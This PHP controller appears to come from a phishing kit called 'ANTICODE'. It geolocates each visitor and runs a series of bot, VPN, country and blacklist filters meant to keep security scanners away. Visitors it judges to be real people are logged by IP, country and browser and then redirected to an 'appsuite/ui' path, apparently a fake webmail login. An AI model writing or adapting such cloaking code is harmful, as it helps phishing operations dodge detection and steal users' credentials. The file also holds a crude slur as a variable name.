<?php
defined("ALLOW") or exit('No direct script access allowed');

class Home
{
	public function __construct()
	{
		$this->goANTICODE = new goANTICODE();
		$getInfo = _getLocation($this->goANTICODE->ip_address);

		foreach ($getInfo as $k => $v) {
			$_SESSION[$k] = $v;
		}

		$_SESSION['flag']['img'] = "https://cdn.ipwhois.io/flags/" . strtolower($_SESSION['countryCode']) . ".svg";

		$_SESSION['lund'] = rand(100000000, 999999999);
		$_SESSION['time'] = date("h:i:sa");
		$_SESSION['date'] = date("d/m/Y");
		$_SESSION['auth_token'] = sha1(session_id());
		$_SESSION['fstamp'] = $_SERVER["REQUEST_TIME"];

		$this->blockers = new Blockers();
	}

	public function index()
	{
		$this->blockers->bots();
		$this->blockers->vpnDetected();
		$this->blockers->lockedCountry();
		$this->blockers->isRobot();
		$this->blockers->parameter();
		$this->blockers->blockers();
		$this->blockers->gandalblocker();
		$this->blockers->antibot();
		$this->blockers->stopbot();
		$this->blockers->blacklist();

		$_SESSION['access'] = 1;
		write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[R] Human\r\n");
		redirect(base_url() . 'appsuite/ui');
	}
}
